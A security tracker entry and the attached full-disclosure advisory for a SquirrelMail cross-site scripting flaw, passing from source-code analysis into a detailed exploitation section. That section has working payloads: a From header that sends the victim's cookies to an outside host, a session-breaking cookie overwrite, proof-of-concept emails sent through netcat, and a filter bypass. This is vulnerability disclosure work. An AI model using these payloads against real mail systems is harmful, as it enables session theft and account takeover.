SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (E-mail Server)  >   SquirrelMail Vendors:   SquirrelMail Development Team
SquirrelMail Input Validation Flaw in From Message Header Line Permits Cross-Site Scripting
SecurityTracker Alert ID:  1010341
SecurityTracker URL:  http://securitytracker.com/id/1010341
CVE Reference:   CVE-2004-0520, CVE-2004-0639   (Links to External Site)
Updated:  Jul 10 2004
Original Entry Date:  May 30 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): prior to 1.4.3; 1.5.1 and prior development versions
Description:   An input validation vulnerability was reported in SquirrelMail. A remote user can conduct cross-site scripting attacks.

Roman Medina reported that a remote user can send a specially crafted e-mail to a target user that, when view by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the SquirrelMail software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

According to the report, certain attachment parameters are not properly filtered.

Some demonstration exploit "From" header line examples are provided:

From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><>

From:(<!--(--><script>document.location='http://www.rs-labs.com/?'+document.cookie;</script><>

From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx; path=/';</script><>

The vendor was reportedly notified on May 22, 2004.

The original advisory is available at:

http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the SquirrelMail software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   The vendor has issued a fix, available via CVS.
Vendor URL:  www.squirrelmail.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Aug 3 2004 (Debian Issues Fix) SquirrelMail Input Validation Flaw in From Message Header Line Permits Cross-Site Scripting
Debian has released a fix.
Oct 2 2004 (Fedora Issues Fix for RH Linux) SquirrelMail Input Validation Flaw in From Message Header Line Permits Cross-Site Scripting
Fedora has released a fix for Red Hat Linux 9.
Dec 30 2004 (Conectiva Issues Fix) SquirrelMail Input Validation Flaw in From Message Header Line Permits Cross-Site Scripting
Conectiva has released a fix.



 Source Message Contents

Subject:  [Full-Disclosure] RS-2004-1: SquirrelMail



----=_0edib09dan6os27juq9aq5mjt7e5o15ke1.MFSBCHJLHS
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello,

I discovered a new XSS vuln in SquirrelMail which is quite dangerous
since it could be exploited simply by sending a specially crafted mail
to the victim. The victim only has to read the email in order to
trigger the exploit. This bug is present in latest versions (as well
as older ones).

I also noticed that latest Debian stable distro ships a very old
version of SquirrelMail, which is vulnerable to several old XSS bugs
(in addition to the new one).

Detailed info is included in attached advisory. Just in case of
problems with the attachment, you can download it from my site:
http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt

=46inally, I'd like to publicly state that somebody is using my nickname
(RoMaNSoFt) for mass-defacing PHP-Nuke sites (and some other nasty
actions like claiming to be the author of docs written by me) in a
clear attempt to incriminate myself. I'm not either a defacer, neither
a cracker. So please, don't mistake that script-kiddie with the real
RoMaNSoFt. Contact me for additional information or if you've been
affected/attacked by this likely Moroccan kiddie.

Regards from Spain,
 --Roman

- --
PGP Fingerprint:
09BB EFCD 21ED 4E79 25FB  29E1 E47F 8A7D EAD5 6742
[Key ID: 0xEAD56742. Available at KeyServ]
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>

iQA/AwUBQLh7SOR/in3q1WdCEQL4kgCgjiwOlryda2lDHgszFmg3pX6tlrIAoLhR
34XnlOcYqsDDAv3Xl2A/5rzj
=3DGz6D
-----END PGP SIGNATURE-----


----=_0edib09dan6os27juq9aq5mjt7e5o15ke1.MFSBCHJLHS
Content-Type: text/plain; charset=ISO-8859-1; name=RS-Labs-Advisory-2004-1.txt
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename=RS-Labs-Advisory-2004-1.txt

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


          =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D
           - RS-Labs Security Advisory -
          =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D

  Tittle:   SquirrelMail "Content-Type" XSS vulnerability
      ID:   RS-2004-1
Severity:   Medium / High - Arbitrary tags injection in victim's browser =
context
    Date:   29.May.2004
  Author:   Rom=E1n Medina-Heigl Hern=E1ndez (a.k.a. RoMaNSoFt) =
<roman@rs-labs.com>
     URL:   http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt



.: [ SUMMARY ]

  SquirrelMail is a well-known and widely deployed webmail system. As =
defined
in SM's official site: it "is a standards-based webmail package written =
in
PHP4. It includes built-in pure PHP support for the IMAP and SMTP =
protocols,
and all pages render in pure HTML 4.0 (with no JavaScript required) for =
maxi-
mum compatibility across browsers. It has very few requirements and is =
very
easy to configure and install. SquirrelMail has all the functionality you
would want from an email client, including strong MIME support, address =
books
and folder manipulation".

  A vulnerability has been discovered in SM. Due to unsanitized user =
input,
a specially crafted e-mail being read by the victim using SM will make =
injec-
tion of arbitrary tags possible. When correctly exploited, it will permit=
 the
execution of scripts (JavaScript, VBScript, etc) running in the context =
of
victim's browser. Compromise of webmail account, cookie theft or further
exploitation of any local existing vulnerability in browser (specially =
easy in
the case of MS-IE, which is still plenty of pending [unpatched] =
sec-vulns) are
only some examples of the possibilities.

  Contrary to popular belief, not all XSS bugs need social engineering to=
 be
performed in order to trigger a successful exploitation. The bug being =
dis-
closed in this advisory proves this fact. A simple reading of an =
specially
crafted e-mail sent by the attacker could derive in a compromise of =
security.
I rated this vulnerability as "medium/high" (instead of "low", as other =
XSS
bugs) because of this reason.

  As a side effect of my research I discovered that older known SM flaws =
were
still present in latest Debian stable (Woody) package. I will also =
discuss
them here (there is no need to issue another advisory only for that ;-)).=
 But
_please note_ that if I don't explicitly mention it, I will always be =
referring
to the new (and recently discovered) bug.



.: [ AFFECTED VERSIONS ]

  The (new) bug could be reproduced with latest version of SM (both =
stable and
devel branchs) (*). In particular:
- - 1.4.3 (CVS) (**)
- - 1.4.3 (RC1)
- - 1.5.0
- - 1.5.1 (CVS) (**)

  Older versions are also vulnerable (latest Debian packages [1.2.6-1.3 =
and
1.5.0-1] were also tested and confirmed to be buggy too).

  (*)  Most of the research work has been done over 1.5.1 (CVS), though.
  (**) Before 24.May.04, when it was fixed in response to my bug-report.



.: [ TECHNICAL ANALYSIS - 1st part: old SM flaws still living around us ]

  (Yes, this is the easy part; you can skip it if you only want new =
bugs).
 =20
  Once upon a time a responsible sysadmin and proud Debian unstable user
mailed to Sam Johnston <samj@debian.org>, the current Debian maintainer =
for SM
packages, and asked him for a new package release which would fix some =
annoying
bugs (not related to security). Guess it... it was me! :-) Well, I cc'ed =
some
of SM developpers, hoping they could help Sam to make a better quality =
release.
We spoke about Debian policy and other interesting things. SM developpers=
 got
surprised: an old SM 1.2.6 version being the "current stable" package in =
Debian!?
We explained to them that Debian Woody uses some kind of manually =
"backporting"
system or in other words: Debian developpers fix critical bugs (often =
security
related ones), by backporting patches released by the corresponding =
vendor (SM
team, in this case). They couldn't explain how this was possible =
(regarding SM),
when many bugs were silently fixed by the vendor, without an advisory =
being re-
leased. Then my brain started thinking (not for the first time, eh?).

  I had a look at the Changelog, searching for "XSS" string and finally, =
I de-
cided to download last two versions of 1.2.x (where x=3D10, 11). I =
diff'ed the
sources. I noticed something like:

- -                        "<B>$mailer</B>&nbsp;" .
+                        "<B>" . htmlentities($mailer) . "</B>&nbsp;" .

  Interesting. I kept on walking through the diff-file. The PHP function
"htmlentities()" (useful to convert those chars with a special meaning in
HTML language) appeared several times. I was in a hurry (time is gold) so=
 I
did the following:

roman@rs-labs:~$ grep htmlentities squirrel-1.2.10-1.2.11.diff
+            $senderName .=3D =
htmlentities(sqimap_find_displayable_name($senderNames_part));
+                                                            'message' =
=3D> htmlentities($fdata[5]),
+                                                            'reminder' =
=3D> htmlentities($fdata[6]) );
+         "    <TD ALIGN=3DLEFT BGCOLOR=3D\"$color[4]\">" . =
htmlentities($event_title) . "</TD></TR>\n".
+         "    <TD ALIGN=3DLEFT BGCOLOR=3D\"$color[4]\">" . =
htmlentities($event_text) . "</TD></TR>\n".
+                        "<B>" . htmlentities($mailer) . "</B>&nbsp;" .

  Ummm, that's good. I only needed to reproduce one of the bugs to prove =
that
backporting is not always a good tactic if you want to have stable _and_ =
secure
software.

  I chose between two beautiful bugs:

roman@rs-labs:~$ diff -ur squirrelmail-1.2.10/src/read_body.php =
squirrelmail-1.2.11/src/read_body.php
@@ -976,7 +977,7 @@
                      "<TD BGCOLOR=3D\"$color[0]\" ALIGN=3DRIGHT =
VALIGN=3DTOP>" .
                            _("Mailer") . ': '.
                      "</TD><TD BGCOLOR=3D\"$color[0]\" VALIGN=3DTOP =
colspan=3D2>" .
- -                        "<B>$mailer</B>&nbsp;" .
+                        "<B>" . htmlentities($mailer) . "</B>&nbsp;" .
                      '</TD>' .
                   "</TR>" . "\n";
 =20
roman@rs-labs:~$ diff -ur =
squirrelmail-1.2.10/functions/mailbox_display.php =
squirrelmail-1.2.11/functions/mailbox_display.php
 require_once('../functions/strings.php');
@@ -59,7 +59,7 @@
             if ($senderName !=3D '') {
                 $senderName .=3D ', ';
             }
- -            $senderName .=3D =
sqimap_find_displayable_name($senderNames_part);
+            $senderName .=3D =
htmlentities(sqimap_find_displayable_name($senderNames_part));
         }
     }

  Both cases could be exploited in a simple way: the attacker sends an =
e-mail
to the victim, and the victim reads it. So simple, isn't it? =
Nevertheless, to
exploit the first case, the victim should have to view headers of the =
received
e-mail (which is not very common), while $senderName (second case) is =
displayed
by default just when the user logs into SM (in other words: when =
mailbox's con-
tents are displayed). Perfect for a proof of concept exploit. So I =
started
playing around this second case and found the way to exploit it. You =
simply
have to insert your favourite JS (JavaScript) code into the "From:" =
header of
an e-mail and send it to the victim. Well, not so easy. Indeed, it was a =
bit
tricky due to the special parsing of the "From:" header. See the =
"Exploitation"
section.

  Please, learn the lesson and repeat with me: "Debian stable software is=
 not
always as secure as we usually thought". Oddly enough, Debian unstable =
was free
of these bugs :-)



.: [ TECHNICAL ANALYSIS - 2nd part: seeking a new vuln! ]

  (Cool stuff begins here :-)).
 =20
  Latest SM versions have fixed several XSS bugs along the time. =
Nevertheless,
nobody is perfect... Let's take advantage of our (recently adquired) SM =
skills
and find a new bug.

  I downloaded latest version (1.5.1 CVS) and had a quick look at it. I =
fastly
reviewed "functions/mailbox_display.php". No luck this time. Then I =
reviewed
"src/read_body.php". No l... Mmmm, don't panic! Please, have a closer =
look to
this last file (only the interesting excerpt is showed):

- -----------------
$attachmentsdisplay =3D formatAttachments($message,$ent_ar,$mailbox, =
$passed_id);
if ($attachmentsdisplay) {
   echo '  </table>';
   echo '    <table width=3D"100%" cellpadding=3D"1" cellspacing=3D"0" =
align=3D"center"'.' border=3D"0" bgcolor=3D"'.$color[9].'">';
   echo '     <tr><td>';
   echo '       <table width=3D"100%" cellpadding=3D"0" cellspacing=3D"0"=
 align=3D"center" border=3D"0" bgcolor=3D"'.$color[4].'">';
   echo '        <tr>' . html_tag( 'td', '', 'left', $color[9] );
   echo '           <b>' . _("Attachments") . ':</b>';
   echo '        </td></tr>';
   echo '        <tr><td>';
   echo '          <table width=3D"100%" cellpadding=3D"2" =
cellspacing=3D"2" align=3D"center"'.' border=3D"0" =
bgcolor=3D"'.$color[0].'"><tr><td>
';
   echo              $attachmentsdisplay;
   echo '          </td></tr></table>';
   echo '       </td></tr></table>';
   echo '  </td></tr>';
   echo '<TR><TD HEIGHT=3D"5" COLSPAN=3D"2" BGCOLOR=3D"'.
          $color[4].'"></TD></TR>';
}
- -----------------

  Got it! There is an "echo" statement where used variable seems not to =
be
filtered in any way. Sure enough, $attachmentsdisplay has not been =
sanitized.
It is used to print all info related to an attachment (file type, the =
name
of attachment itself and so on). This is tipically contained inside the =
email
(headers) being received by the victim so it is easily spoofable by an =
evil
attacker (for instance, my good friend "Crg" of "!dSR" team }:-)).
 =20
  In "functions/mime.php":
=20
- -----------------
function formatAttachments($message, $exclude_id, $mailbox, $id) {
 [...]
    $att_ar =3D $message->getAttachments($exclude_id);

    if (!count($att_ar)) return '';

    $attachments =3D '';
=20
    $urlMailbox =3D urlencode($mailbox);

    foreach ($att_ar as $att) {
        $ent =3D $att->entity_id;
        $header =3D $att->header;
        $type0 =3D strtolower($header->type0);
        $type1 =3D strtolower($header->type1);
 [...]
        $attachments .=3D '<TR><TD>' .
                        '<A =
HREF=3D"'.$defaultlink.'">'.decodeHeader($display_filename).'</A>&nbsp;</=
TD>' .
                        '<TD><SMALL><b>' . =
show_readable_size($header->size) .
                        '</b>&nbsp;&nbsp;</small></TD>' .
                        "<TD><SMALL>[ $type0/$type1 ]&nbsp;</SMALL></TD>"=
 .
                        '<TD><SMALL>';
        $attachments .=3D '<b>' . $description . '</b>';
        $attachments .=3D '</SMALL></TD><TD><SMALL>&nbsp;';
 [...]
    }
    $attachmentadd =3D =
do_hook_function('attachments_bottom',$attachments);
    if ($attachmentadd !=3D '')
        $attachments =3D $attachmentadd;
    return $attachments;
}
- -----------------

  As our sharp readers can see, $type0 and $type1 variables remain =
unfiltered.
Where do they come from? Well, it's not trivial, at least for somebody =
who is
not familiarized with IMAP protocol, which is (was?) my case. The fast =
response
to the previous question is: both variables come from the object named
"$message". We can verify the class this variable corresponds to by =
adding a
debug line such as:

error_log('$message class: ' . get_class($message));

  It reveals that $message corresponds to "Message" class. This class is =
defi-
ned at "class/mime/Message.class.php". Doing the same for $header =
variable, we
obtain the class "MessageHeader", which is defined at =
"class/mime/MessageHea-
der.class.php". In particular, $type0 is read from this last object (and =
con-
verted into lowercase; this would be a little restriction at the time of =
ex-
ploitation, although it can be easily bypassed) and same applies to =
$type1.

  Are you getting bored? Well, I'll summarize a bit: SM uses the same =
struc-
tures defined by the IMAP protocol (RFC 3501) and the parsing task is =
left to
be performed by the IMAP server. This is an important point.

  You can skip the following excerpt but I think it may help to =
understand the
whole thing. Notice that "msg_header" in the text really corresponds to =
"Messa-
geHeader" class. Quoting from "doc/mime.txt":

- -s-k-i-p---i-f---b-o-r-e-d---(tm)--:-)----

Object Structure
- ----------------
There are two objects that are used: "message" and "msg_header".  Here is=
 a
brief overview of what each object contains.

msg_header
   Contains variables for all the necessary parts of the header of a
   message.  This includes (but is not limited to) the following:  to, =
from,
   subject, type (type0), subtype (type1), filename ...
     =20
message
   This contains the structure for the message.  It contains two parts:
   $header and $entities[].  $header is of type msg_header, and =
$entities[]
   is an array of type $message.  The $entities[] array is optional.  If
   it does not exist, then we are at a leaf node, and have an actual
   attachment (entity) that can be displayed.  Here is a tree view of how
   this object functions.

   header
   entities
      |
      +--- header
      |
      +--- header
      |    entities
      |       |
      |       +--- header
      |       |
      |       +--- header
      |
      +--- header


Getting the Structure
- ---------------------
Previously (version 0.4 and below), SquirrelMail handled all the parsing =
of
the email message.  It would read the entire message in, search for=20
boundaries, and create an array similar to the $message object described
above.  This was very inefficient.

Currently, all the parsing of the body of the message takes place on the
IMAP server itself.  According to RFC 2060 section 7.4.2, we can use the
BODYSTRUCTURE function which will return the structure of the body =
(imagine
that).  It goes into detail of how the bodystructure should be formatted,
and we have based our new MIME support on this specification. =20

A simple text/plain message would have a BODYSTRUCTURE similar to the=20
following:

   ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23)

A more complicated multipart message with an attachment would look like: =
 =20

   (("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23)("TEXT"=
=20
   "PLAIN" ("CHARSET" "US-ASCII" "NAME" "cc.diff")=20
   "<960723163407.20117h@cac.washington.edu>" "Compiler diff" "BASE64"=20
   4554 73) "MIXED"))
  =20
Our MIME functionality implements different functions that recursively
run through this text and parses out the structure of the message.  If =
you
want to learn more about how the structure of a message is returned with
the BODYSTRUCTURE function, please see RFC 2060 section 7.4.2.

- -e-n-d---o-f---s-k-i-p---i-f---b-o-r-e-d---(tm)--:-)----

  Let's continue, faster. I'm getting tired too. As you probably guessed,=
 the
BODYSTRUCTURE contains "Content-Type" values. SM directly parses the =
response
issued by IMAP server. To be precise, in "functions/imap_messages.php":

- -----------------
/**
 * Returns a message array with all the information about a message. =20
 * See the documentation folder for more information about this array.
 */
function sqimap_get_message ($imap_stream, $id, $mailbox) {
    // typecast to int to prohibit 1:* msgs sets
    $id =3D (int) $id;
    $flags =3D array();
    $read =3D sqimap_run_command ($imap_stream, "FETCH $id (FLAGS =
BODYSTRUCTURE)", true, $response, $message, TRUE);
    if ($read) {
        if (preg_match('/.+FLAGS\s\((.*)\)\s/AUi',$read[0],$regs)) {
            if (trim($regs[1])) {
                $flags =3D preg_split('/ /', =
$regs[1],-1,'PREG_SPLIT_NI_EMPTY');
            }
        }
    [...]
    }=20
           =20
    $bodystructure =3D implode('',$read);
    $msg =3D  mime_structure($bodystructure,$flags);
    $read =3D sqimap_run_command ($imap_stream, "FETCH $id BODY[HEADER]",=
 true, $response, $message, TRUE);
    $rfc822_header =3D new Rfc822Header();
    $rfc822_header->parseHeader($read);
    $msg->rfc822_header =3D $rfc822_header;
    return $msg;
}
- -----------------

  The variable $read[0] is a string. It contains the response of the IMAP
server. So the array $read is converted into a string (using the =
"implode"
trick) and then it is passed into "mime_structure()" function. This last =
one
can be located at "functions/mime.php":

- -----------------
function mime_structure ($bodystructure, $flags=3Darray()) {

    /* Isolate the body structure and remove beginning and end =
parenthesis. */
    $read =3D trim(substr ($bodystructure, =
strpos(strtolower($bodystructure), 'bodystructure') + 13));
    $read =3D trim(substr ($read, 0, -1));
    $i =3D 0;
    $msg =3D Message::parseStructure($read,$i);
    [...]
- -----------------
 =20
  Finally, the parsing of the IMAP response is really done by the =
following
methods of the Message class (defined at "class/mime/Message.class.php"):

- -----------------
    /*
     * Bodystructure parser, a recursive function for generating the
     * entity-tree with all the mime-parts.
     *
     * It follows RFC2060 and stores all the described fields in the
     * message object.
     *
     * Question/Bugs:
     *
     * Ask for me (Marc Groot Koerkamp, stekkel@users.sourceforge.net)
     *
     */
    function parseStructure($read, &$i, $sub_msg =3D '') {
        $msg =3D Message::parseBodyStructure($read, $i, $sub_msg);
        if($msg) $msg->setEntIds($msg,false,0);
        return $msg;
    }

    function setEntIds(&$msg,$init=3Dfalse,$i=3D0) {
        $iCnt =3D count($msg->entities);
        if ($init !=3D=3Dfalse) {
            $iEntSub =3D $i+1;
            if ($msg->parent->type0 =3D=3D 'message' &&
                $msg->parent->type1 =3D=3D 'rfc822' &&
                $msg->type0 =3D=3D 'multipart') {
                $iEntSub =3D '0';
            }
            if ($init) {
                $msg->entity_id =3D "$init.$iEntSub";
            } else {
                $msg->entity_id =3D $iEntSub;
            }
        } else if ($iCnt) {
            $msg->entity_id=3D'0';
        } else {
            $msg->entity_id=3D'1';
        }
        for ($i=3D0;$i<$iCnt;++$i) {
            $msg->entities[$i]->parent =3D& $msg;
            if (strrchr($msg->entity_id, '.') !=3D '.0') {
                =
$msg->entities[$i]->setEntIds($msg->entities[$i],$msg->entity_id,$i);
            } else {
                =
$msg->entities[$i]->setEntIds($msg->entities[$i],$msg->parent->entity_id,=
$i);
            }
        }
    }
- -----------------

  And no attempt to filter user input was found here! :-) Some other =
variables
will be originally obtained from this object, like the filename of the =
attach-
ment found in an e-mail. But they are processed later and filtered in the=
 in-
termediate process, before being displayed. So they are safe from XSS (I =
have
not performed a full audit, though). Nevertheless, "Content-Type" field =
is not
purged at all and so it is vulnerable to XSS, as we have demonstrated =
through
this analysis.



.: [ EXPLOITATION ]

  It takes some time to explore the possibilities of exploitation for =
discussed
bugs. The attacker should sent an e-mail to the victim, including our =
malicious
string inside one of the headers, depending on which vulnerability we are
trying to exploit. The difficult part is to study how the string will be =
filte-
red through SM processing.

  I don't want to lose more time to explain the "old" bug (present in =
1.2.6 .deb
package, a.k.a. $senderName XSS) so I will directly provide some examples=
 of its
exploitation.

- - Example 1: shows the content of the cookie on a dialog box.
=46rom:<!--<>(-->John =
Doe<script>window.alert(document.cookie);</script><>

- - Example 2: cookie theft.
=46rom:(<!--(--><script>document.location=3D'http://www.rs-labs.com/?'+do=
cument.cookie;</script><>

- - Example 3: session variable is rewritten (DoS).
=46rom:<!--<>(-->John Doe<script>document.cookie=3D'PHPSESSID=3Dxxx; =
path=3D/';</script><>

  Please note that we used HTML comments in order to hide the opening =
bracket
character ["("] which, otherwise, would be visible to the victim. This =
way,
detection of an attack is more difficult to achieve. }:-) Be aware that =
the
third example could leave a webmail account unusable until the offending =
me-
ssage is deleted by the administrator or by using alternative methods for
accessing the mail account (for instance, POP3).

  The new bug requires some more testing in order to be exploited. =
Remember
the description I did about the source of the bug. The offending string =
is read
directly from the IMAP server, in response to a BODYSTRUCTURE request. I =
did
some testing and discovered that different IMAP servers have different =
beha-
viours against "foreign" characters being injected into the command =
string.
In summary: each IMAP server implementation works in a different way and =
some
characters will be permitted in some servers and denied in others. Don't =
ask
me the reason. I don't know it :-)

  I built three different environments and used them to exploit the bug.
I obtained also different results, which I will disclose right now.

1) UW IMAP 2003.339 (Debian package: uw-imapd 7:2002edebian1-3).

  The exploit itself will be a simple e-mail with a forged "Content-Type"
header. In this example we will try to print cookie's content. We only =
have to
construct e-mail and send it to the victim:

roman@rs-labs:~/squirrel/bug-new$ cat XSS-PoC-Squirrelmail.withoutquotes
helo rs-labs-r0cks
mail from:<evil@microsoft.com>
rcpt to:<squirrel@rs-labs>
data
=46rom: Attacker <evil@microsoft.com>
To: roman@rs-labs.com
Subject: Squirrelmail XSS PoC (without quotes)
Date: Sun, 09 May 2004 22:39:58 +0200
Message-ID: <fm5t90tbzeglvqso0hc3j9u3doqc6sj5r5@4ax.com>
X-Mailer: RoMaNSoFt's preferred one :-)
MIME-Version: 1.0
Content-Type: =
application/octet-stream<script>window.alert(document.cookie)</script>; =
name=3Dtop_secret.pdf
Content-Transfer-Encoding: base64
Content-Description: Not really top secret... (without quotes)
Content-Disposition: attachment; filename=3Dtop_secret.pdf

JVBERi0xLjMKJeLjz9MKMSAwIG9iago8PAovTGVuZ3RoIDEyMTUKL0ZpbHRlciBbL0ZsYXRlR=
GVj
dHhyZWYKNDY2MjUKJSVFT0YK
.
quit
roman@rs-labs:~/squirrel/bug-new$ nc localhost 25 < =
XSS-PoC-Squirrelmail.withoutquotes=20
220 rs-labs ESMTP Exim 3.36 #1 Sun, 23 May 2004 21:33:59 +0200
250 rs-labs Hello localhost [127.0.0.1]
250 <evil@microsoft.com> is syntactically correct
250 <squirrel@rs-labs> verified
354 Enter message, ending with "." on a line by itself
250 OK id=3D1BRyjP-00065a-00
221 rs-labs closing connection
roman@rs-labs:~/squirrel/bug-new$

  Now, let's see the effect it has on the IMAP server:

roman@rs-labs:~/squirrel/bug-new$ cat imap=20
0 login user password
0 examine inbox
0 search *
0 fetch 1 BODYSTRUCTURE
0 logout
roman@rs-labs:~/squirrel/bug-new$ nc localhost 143 < imap
* OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=3DLOGIN] =
localhost IMAP4rev1 2003.339 at Sun, 23 May 2004 22:25:15 +0200 (CEST)
0 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY =
UNSELECT SCAN SORT THREAD=3DREFERENCES THREAD=3DORDEREDSUBJECT =
MULTIAPPEND] User squirrel authenticated
* 1 EXISTS
* 1 RECENT
* OK [UIDVALIDITY 1084621844] UID validity status
* OK [UIDNEXT 7] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS ()] Permanent flags
* OK [UNSEEN 1] first unseen message in /var/mail/squirrel
0 OK [READ-ONLY] EXAMINE completed
* SEARCH 1
0 OK SEARCH completed
* OK [PARSE] Unexpected characters at end of parameters: =
<script>window.alert(document.cookie)</script>; name=3Dtop_secret.pdf
* 1 FETCH (BODYSTRUCTURE ("APPLICATION" "OCTET-STREAM" NIL NIL "Not =
really top secret... (without quotes)" "BASE64" 104 NIL ("ATTACHMENT" =
("FILENAME" "top_secret.pdf")) NIL NIL))
0 OK FETCH completed
* BYE rs-labs IMAP4rev1 server terminating connection
0 OK LOGOUT completed
roman@rs-labs:~/squirrel/bug-new$

  Hey! UW IMAP's parsing routine is cute enough to detect non permitted =
chars.
But which chars are forbidden?

  Let's quote RFC 2822 ("Internet Message Format"):

- -----------------
3.2.1. Primitive Tokens

[...]
specials        =3D       "(" / ")" /     ; Special characters used in
                        "<" / ">" /     ;  other parts of the syntax
                        "[" / "]" /
                        ":" / ";" /
                        "@" / "\" /
                        "," / "." /
                        DQUOTE
[...]                       =20
3.2.5. Quoted strings

   Strings of characters that include characters other than those
   allowed in atoms may be represented in a quoted string format, where
   the characters are surrounded by quote (DQUOTE, ASCII value 34)
   characters.
- -----------------

  Good idea! We can repeat the experiment, but this time we will use =
quotes.
Therefore we delete former message for inbox and issue a new one:

roman@rs-labs:~/squirrel/bug-new$ cat XSS-PoC-Squirrelmail.withquotes
helo rs-labs-r0cks
mail from:<evil@microsoft.com>
rcpt to:<squirrel@rs-labs>
data
=46rom: Attacker <evil@microsoft.com>
To: roman@rs-labs.com
Subject: Squirrelmail XSS PoC (without quotes)
Date: Sun, 09 May 2004 22:39:58 +0200
Message-ID: <fm5t90tbzeglvqso0hc3j9u3doqc6sj5r5@4ax.com>
X-Mailer: RoMaNSoFt's preferred one :-)
MIME-Version: 1.0
Content-Type: =
application/octet-stream"<script>window.alert(document.cookie)</script>";=
 name=3Dtop_secret.pdf
Content-Transfer-Encoding: base64
Content-Description: Not really top secret... (without quotes)
Content-Disposition: attachment; filename=3Dtop_secret.pdf

JVBERi0xLjMKJeLjz9MKMSAwIG9iago8PAovTGVuZ3RoIDEyMTUKL0ZpbHRlciBbL0ZsYXRlR=
GVj
dHhyZWYKNDY2MjUKJSVFT0YK
.
quit
roman@rs-labs:~/squirrel/bug-new$ nc localhost 25 < =
XSS-PoC-Squirrelmail.withquotes
220 rs-labs ESMTP Exim 3.36 #1 Sun, 23 May 2004 22:52:24 +0200
250 rs-labs Hello localhost [127.0.0.1]
250 <evil@microsoft.com> is syntactically correct
250 <squirrel@rs-labs> verified
354 Enter message, ending with "." on a line by itself
250 OK id=3D1BRzxI-0006KA-00
221 rs-labs closing connection
roman@rs-labs:~/squirrel/bug-new$ nc localhost 143 < imap
* OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=3DLOGIN] =
localhost IMAP4rev1 2003.339 at Sun, 23 May 2004 22:52:26 +0200 (CEST)
0 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY =
UNSELECT SCAN SORT THREAD=3DREFERENCES THREAD=3DORDEREDSUBJECT =
MULTIAPPEND] User squirrel authenticated
* 1 EXISTS
* 1 RECENT
* OK [UIDVALIDITY 1084621844] UID validity status
* OK [UIDNEXT 10] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS ()] Permanent flags
* OK [UNSEEN 1] first unseen message in /var/mail/squirrel
0 OK [READ-ONLY] EXAMINE completed
* SEARCH 1
0 OK SEARCH completed
* 1 FETCH (BODYSTRUCTURE ("APPLICATION" {60}
OCTET-STREAM"<SCRIPT>WINDOW.ALERT(DOCUMENT.COOKIE)</SCRIPT>" ("NAME" =
"top_secret.pdf") NIL "Not really top secret... (without quotes)" =
"BASE64" 104 NIL ("ATTACHMENT" ("FILENAME" "top_secret.pdf")) NIL NIL))
0 OK FETCH completed
* BYE rs-labs IMAP4rev1 server terminating connection
0 OK LOGOUT completed
roman@rs-labs:~/squirrel/bug-new$=20

  Perfect. This time our evil string is not discarded :-) We are ready to=
 login
to our SM test account and try to read the mail-message. A dialog box =
appears
listing our cookies. In other words... it works!!! =3D)

2) Courier IMAP 3.0.3 (Debian package: courier-imap 3.0.3-1)

  If we perform similar tests we can conclude that surprisingly double =
quotes
is not a problem here. But now our input string is cut (automatically =
termina-
ted) when a "/" character is found. It happens the same if we include the=
 space
character. This is easy to demonstrate if we look at the source of =
Courier; in
particular, in "imap/msgbodystructure.c" there are some lines like the =
follo-
wing:

- -----------------
q=3Dstrtok(mybuf, " /");
[...]
if (q)  q=3Dstrtok(0, " /");
- -----------------

  Arghh! Courier programmers didn't respect dquote convention. So this =
case
seems not to be exploitable... But, are you sure? :-)

  Let's think a bit. How to avoid the "/" character? Easy:
<body onLoad=3Djavascript:window.alert(document.cookie);>

  But then we have a space character. Indeed it could be replaced with =
any
other "whitespace" character and browser will interpret it in the same =
way.
=46or instance, we can use the TAB character and the final exploit will =
be:
<body[TAB]onLoad=3Djavascript:window.alert(document.cookie);>

where [TAB] is a byte with 0x09 value. And yes, it works now! :-))

  Only one comment. When using netcat over IMAP port I got a strange =
effect:
the response remained blocked when "login" command was sent so I could =
not get
a full response. I fixed this problem by entering a little delay between =
the
"login" command and the next one ("examine"):

roman@rs-labs:~/courier$ cat imap
0 login user password
roman@rs-labs:~/courier$  cat imap2
0 examine inbox
0 search *
